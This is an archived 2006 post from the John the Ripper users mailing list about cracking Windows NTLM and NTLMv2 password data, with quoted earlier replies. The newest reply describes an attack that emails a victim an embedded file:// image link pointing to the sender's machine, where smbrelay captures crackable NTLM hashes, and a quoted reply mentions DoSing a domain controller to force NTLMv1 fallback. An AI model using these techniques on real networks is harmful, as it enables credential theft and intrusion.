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Message-ID: <7b3298150605022321la2957baj1dce61fa95057ea7@mail.gmail.com> Date: Wed, 3 May 2006 08:21:07 +0200 From: "thomas springer" <thomas.springer@...il.com> To: john-users@...ts.openwall.com Subject: Re: JtR & NTLMv2 passwords one should notice here that ms (and lazy admins?) are usually doing a bad job and fail to disable the fallback from NTLMv2 to the old NTLM (can be done with a registry-setting). If you use an "active attack" (i usually prefer an EMail with an embedded <img src=file:///mypc/webbug.gif>) with something like smbrelay.exelistening on my machine, you will succeed in sniffing "crackable" NTLM-Hashes from the wire almost everywhere. tom On 5/2/06, rembrandt@...erlin.de <rembrandt@...erlin.de> wrote: > > > > On Tue, May 02, 2006 at 02:18:13PM +0200, Guillaume Arcas wrote: > >> I'm a bit confused about the ability of JtR to crack Windows passwords > >> that use > >> NTLMv2 format. > > > > This question itself is confusing. > > > > My (limited) understanding is that NTLMv2 is a revision of the NTLM > > authentication protocol as described, for example, here: > > > > http://davenport.sourceforge.net/ntlm.html > > > > However, even when NTLMv2 is in use, the underlying password hashes > > that are stored on Windows systems are plain NTLM, not NTLMv2 (there's > > no such thing as an NTLMv2 password hash; instead, there are NTLMv2 > > challenge responses). > > > > JtR supports LM and NTLM hashes (the latter with the contributed patch) > > that are stored on Windows systems. > > > > JtR does not support sniffed NTLM protocol challenge/response pairs. > > That is correct but there are sniffers. > Attackers could DoS a special Port at a e.g. Domaincontroler to make it > (and all Clients) fall back to NTLMv1 but since 2000 NTLMv2 is the default > (if you don`t force them to fall back :)). > > With NTLMv2 they simply corrected a misstake wich leads to an easy to > build up Codebook (aka "Rainbowbook") (~80GB) for NTLMv1. > > Supporting NTLMv2 would be neat indeed because Bruteforc eis the only way > to crack this stuff (as far as I know). > > > Rembrandt > > > -- > To unsubscribe, e-mail john-users-unsubscribe@...ts.openwall.com and reply > to the automated confirmation request that will be sent to you. > > -- thomas.springer@...il.com [nach mir der synflood.]
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